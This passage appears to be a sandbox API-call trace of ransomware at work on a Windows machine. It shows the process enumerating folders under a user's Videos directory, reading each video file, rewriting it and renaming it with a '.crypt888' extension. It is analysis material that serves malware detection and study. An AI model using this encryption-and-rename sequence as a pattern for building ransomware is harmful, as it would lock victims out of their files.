returned 1 [0085.111] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0085.111] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0085.111] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g", lpFilePart=0x0) returned 0x38 [0085.111] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\", lpFilePart=0x0) returned 0x39 [0085.111] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a2e8 [0085.112] FindNextFileW (in: hFindFile=0x59a2e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0085.112] FindNextFileW (in: hFindFile=0x59a2e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0085.112] FindNextFileW (in: hFindFile=0x59a2e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0085.112] FindNextFileW (in: hFindFile=0x59a2e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0085.112] FindNextFileW (in: hFindFile=0x59a2e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0085.113] FindClose (in: hFindFile=0x59a2e8 | out: hFindFile=0x59a2e8) returned 1 [0085.113] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0085.113] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0085.113] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\7wlv D8zCHIxdUR.avi", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\7wlv D8zCHIxdUR.avi", lpFilePart=0x0) returned 0x4c [0085.113] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0085.113] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\7wlv D8zCHIxdUR.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\quc7bgirxjcvei6av_g\\7wlv d8zchixdur.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0085.113] GetFileType (hFile=0x174) returned 0x1 [0085.113] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0085.113] GetFileType (hFile=0x174) returned 0x1 [0085.113] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0x10b61 [0085.113] ReadFile (in: hFile=0x174, lpBuffer=0x2879f10, nNumberOfBytesToRead=0x10b61, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x2879f10*, lpNumberOfBytesRead=0x39ed24*=0x10b61, lpOverlapped=0x0) returned 1 [0085.162] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\7wlv D8zCHIxdUR.avi", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\7wlv D8zCHIxdUR.avi", lpFilePart=0x0) returned 0x4c [0085.163] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0085.163] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\7wlv D8zCHIxdUR.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\quc7bgirxjcvei6av_g\\7wlv d8zchixdur.avi"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0085.164] GetFileType (hFile=0x174) returned 0x1 [0085.164] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0085.164] GetFileType (hFile=0x174) returned 0x1 [0085.164] WriteFile (in: hFile=0x174, lpBuffer=0x270b584*, nNumberOfBytesToWrite=0x10b70, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x270b584*, lpNumberOfBytesWritten=0x39ed14*=0x10b70, lpOverlapped=0x0) returned 1 [0085.166] CloseHandle (hObject=0x174) returned 1 [0085.169] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\7wlv D8zCHIxdUR.avi", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\7wlv D8zCHIxdUR.avi", lpFilePart=0x0) returned 0x4c [0085.169] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\7wlv D8zCHIxdUR.avi.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\7wlv D8zCHIxdUR.avi.crypt888", lpFilePart=0x0) returned 0x55 [0085.169] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0085.169] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\7wlv D8zCHIxdUR.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\quc7bgirxjcvei6av_g\\7wlv d8zchixdur.avi"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9a3a5b0, ftCreationTime.dwHighDateTime=0x1d4636c, ftLastAccessTime.dwLowDateTime=0x949f4990, ftLastAccessTime.dwHighDateTime=0x1d46197, ftLastWriteTime.dwLowDateTime=0xc3f65ce0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x10b70)) returned 1 [0085.169] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0085.169] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\7wlv D8zCHIxdUR.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\quc7bgirxjcvei6av_g\\7wlv d8zchixdur.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\7wlv D8zCHIxdUR.avi.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\quc7bgirxjcvei6av_g\\7wlv d8zchixdur.avi.crypt888")) returned 1 [0085.170] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0085.170] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\de7FQTTIgaL7q", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\de7FQTTIgaL7q", lpFilePart=0x0) returned 0x46 [0085.170] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\de7FQTTIgaL7q\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\de7FQTTIgaL7q\\", lpFilePart=0x0) returned 0x47 [0085.170] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\de7FQTTIgaL7q\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a728 [0085.170] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0085.170] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0085.170] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0085.170] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0085.171] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0085.171] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0085.171] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0085.171] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0085.171] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0085.171] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\de7FQTTIgaL7q", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\de7FQTTIgaL7q", lpFilePart=0x0) returned 0x46 [0085.171] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\de7FQTTIgaL7q\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\de7FQTTIgaL7q\\", lpFilePart=0x0) returned 0x47 [0085.171] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\de7FQTTIgaL7q\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a728 [0085.171] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0085.171] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0085.171] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0085.172] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0085.172] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0085.172] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0085.172] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0085.172] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0085.172] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\de7FQTTIgaL7q\\a kReiTnpl3pp.avi", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\de7FQTTIgaL7q\\a kReiTnpl3pp.avi", lpFilePart=0x0) returned 0x58 [0085.172] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0085.172] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\de7FQTTIgaL7q\\a kReiTnpl3pp.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\quc7bgirxjcvei6av_g\\de7fqttigal7q\\a kreitnpl3pp.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0085.172] GetFileType (hFile=0x174) returned 0x1 [0085.172] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0085.172] GetFileType (hFile=0x174) returned 0x1 [0085.172] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0x60cf [0085.172] ReadFile (in: hFile=0x174, lpBuffer=0x271eb0c, nNumberOfBytesToRead=0x60cf, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x271eb0c*, lpNumberOfBytesRead=0x39ecf0*=0x60cf, lpOverlapped=0x0) returned 1 [0085.173] CloseHandle (hObject=0x174) returned 1 [0085.189] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\de7FQTTIgaL7q\\a kReiTnpl3pp.avi", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\de7FQTTIgaL7q\\a kReiTnpl3pp.avi", lpFilePart=0x0) returned 0x58 [0085.189] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0085.189] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\de7FQTTIgaL7q\\a kReiTnpl3pp.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\quc7bgirxjcvei6av_g\\de7fqttigal7q\\a kreitnpl3pp.avi"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0085.191] GetFileType (hFile=0x174) returned 0x1 [0085.191] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec20) returned 1 [0085.191] GetFileType (hFile=0x174) returned 0x1 [0085.191] WriteFile (in: hFile=0x174, lpBuffer=0x2789e40*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x39ece0, lpOverlapped=0x0 | out: lpBuffer=0x2789e40*, lpNumberOfBytesWritten=0x39ece0*=0x60d0, lpOverlapped=0x0) returned 1 [0085.192] CloseHandle (hObject=0x174) returned 1 [0085.195] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\de7FQTTIgaL7q\\a kReiTnpl3pp.avi", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\de7FQTTIgaL7q\\a kReiTnpl3pp.avi", lpFilePart=0x0) returned 0x58 [0085.195] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\de7FQTTIgaL7q\\a kReiTnpl3pp.avi.crypt888", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\de7FQTTIgaL7q\\a kReiTnpl3pp.avi.crypt888", lpFilePart=0x0) returned 0x61 [0085.195] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc8) returned 1 [0085.195] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\de7FQTTIgaL7q\\a kReiTnpl3pp.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\quc7bgirxjcvei6av_g\\de7fqttigal7q\\a kreitnpl3pp.avi"), fInfoLevelId=0x0, lpFileInformation=0x39ed44 | out: lpFileInformation=0x39ed44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74e4f430, ftCreationTime.dwHighDateTime=0x1d46622, ftLastAccessTime.dwLowDateTime=0xfc7af640, ftLastAccessTime.dwHighDateTime=0x1d45d0a, ftLastWriteTime.dwLowDateTime=0xc3fb1fa0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x60d0)) returned 1 [0085.195] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc4) returned 1 [0085.195] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\de7FQTTIgaL7q\\a kReiTnpl3pp.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\quc7bgirxjcvei6av_g\\de7fqttigal7q\\a kreitnpl3pp.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\de7FQTTIgaL7q\\a kReiTnpl3pp.avi.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\quc7bgirxjcvei6av_g\\de7fqttigal7q\\a kreitnpl3pp.avi.crypt888")) returned 1 [0085.196] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\de7FQTTIgaL7q\\dgr5pi_z7Vxk.avi", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\de7FQTTIgaL7q\\dgr5pi_z7Vxk.avi", lpFilePart=0x0) returned 0x57 [0085.196] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0085.196] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\de7FQTTIgaL7q\\dgr5pi_z7Vxk.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\quc7bgirxjcvei6av_g\\de7fqttigal7q\\dgr5pi_z7vxk.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0085.196] GetFileType (hFile=0x174) returned 0x1 [0085.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0085.196] GetFileType (hFile=0x174) returned 0x1 [0085.196] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0xb80b [0085.197] ReadFile (in: hFile=0x174, lpBuffer=0x2790428, nNumberOfBytesToRead=0xb80b, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x2790428*, lpNumberOfBytesRead=0x39ecf0*=0xb80b, lpOverlapped=0x0) returned 1 [0085.197] CloseHandle (hObject=0x174) returned 1 [0085.214] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\de7FQTTIgaL7q\\dgr5pi_z7Vxk.avi", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\de7FQTTIgaL7q\\dgr5pi_z7Vxk.avi", lpFilePart=0x0) returned 0x57 [0085.214] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0085.214] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\de7FQTTIgaL7q\\dgr5pi_z7Vxk.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\quc7bgirxjcvei6av_g\\de7fqttigal7q\\dgr5pi_z7vxk.avi"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0085.215] GetFileType (hFile=0x174) returned 0x1 [0085.215] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec20) returned 1 [0085.215] GetFileType (hFile=0x174) returned 0x1 [0085.215] WriteFile (in: hFile=0x174, lpBuffer=0x27ffa34*, nNumberOfBytesToWrite=0xb810, lpNumberOfBytesWritten=0x39ece0, lpOverlapped=0x0 | out: lpBuffer=0x27ffa34*, lpNumberOfBytesWritten=0x39ece0*=0xb810, lpOverlapped=0x0) returned 1 [0085.217] CloseHandle (hObject=0x174) returned 1 [0085.218] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\de7FQTTIgaL7q\\dgr5pi_z7Vxk.avi", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\de7FQTTIgaL7q\\dgr5pi_z7Vxk.avi", lpFilePart=0x0) returned 0x57 [0085.218] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\de7FQTTIgaL7q\\dgr5pi_z7Vxk.avi.crypt888", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\de7FQTTIgaL7q\\dgr5pi_z7Vxk.avi.crypt888", lpFilePart=0x0) returned 0x60 [0085.218] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc8) returned 1 [0085.219] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\de7FQTTIgaL7q\\dgr5pi_z7Vxk.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\quc7bgirxjcvei6av_g\\de7fqttigal7q\\dgr5pi_z7vxk.avi"), fInfoLevelId=0x0, lpFileInformation=0x39ed44 | out: lpFileInformation=0x39ed44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe10ba330, ftCreationTime.dwHighDateTime=0x1d45730, ftLastAccessTime.dwLowDateTime=0xbc03cf60, ftLastAccessTime.dwHighDateTime=0x1d4644e, ftLastWriteTime.dwLowDateTime=0xc3fd8100, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xb810)) returned 1 [0085.219] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc4) returned 1 [0085.219] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\de7FQTTIgaL7q\\dgr5pi_z7Vxk.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\quc7bgirxjcvei6av_g\\de7fqttigal7q\\dgr5pi_z7vxk.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\de7FQTTIgaL7q\\dgr5pi_z7Vxk.avi.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\quc7bgirxjcvei6av_g\\de7fqttigal7q\\dgr5pi_z7vxk.avi.crypt888")) returned 1 [0085.220] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\de7FQTTIgaL7q\\GZKAQloFDkGSAGi_7.flv", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\de7FQTTIgaL7q\\GZKAQloFDkGSAGi_7.flv", lpFilePart=0x0) returned 0x5c [0085.220] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0085.220] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\de7FQTTIgaL7q\\GZKAQloFDkGSAGi_7.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\quc7bgirxjcvei6av_g\\de7fqttigal7q\\gzkaqlofdkgsagi_7.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0085.220] GetFileType (hFile=0x174) returned 0x1 [0085.220] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0085.220] GetFileType (hFile=0x174) returned 0x1 [0085.220] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0x17308 [0085.220] ReadFile (in: hFile=0x174, lpBuffer=0x39126b0, nNumberOfBytesToRead=0x17308, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x39126b0*, lpNumberOfBytesRead=0x39ecf0*=0x17308, lpOverlapped=0x0) returned 1 [0085.221] CloseHandle (hObject=0x174) returned 1 [0085.247] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\de7FQTTIgaL7q\\GZKAQloFDkGSAGi_7.flv", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\de7FQTTIgaL7q\\GZKAQloFDkGSAGi_7.flv", lpFilePart=0x0) returned 0x5c [0085.247] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0085.248] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\de7FQTTIgaL7q\\GZKAQloFDkGSAGi_7.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\quc7bgirxjcvei6av_g\\de7fqttigal7q\\gzkaqlofdkgsagi_7.flv"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0085.249] GetFileType (hFile=0x174) returned 0x1 [0085.249] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec20) returned 1 [0085.249] GetFileType (hFile=0x174) returned 0x1 [0085.249] WriteFile (in: hFile=0x174, lpBuffer=0x36698d0*, nNumberOfBytesToWrite=0x17310, lpNumberOfBytesWritten=0x39ece0, lpOverlapped=0x0 | out: lpBuffer=0x36698d0*, lpNumberOfBytesWritten=0x39ece0*=0x17310, lpOverlapped=0x0) returned 1 [0085.252] CloseHandle (hObject=0x174) returned 1 [0085.257] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\de7FQTTIgaL7q\\GZKAQloFDkGSAGi_7.flv", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\de7FQTTIgaL7q\\GZKAQloFDkGSAGi_7.flv", lpFilePart=0x0) returned 0x5c [0085.257] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\de7FQTTIgaL7q\\GZKAQloFDkGSAGi_7.flv.crypt888", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS 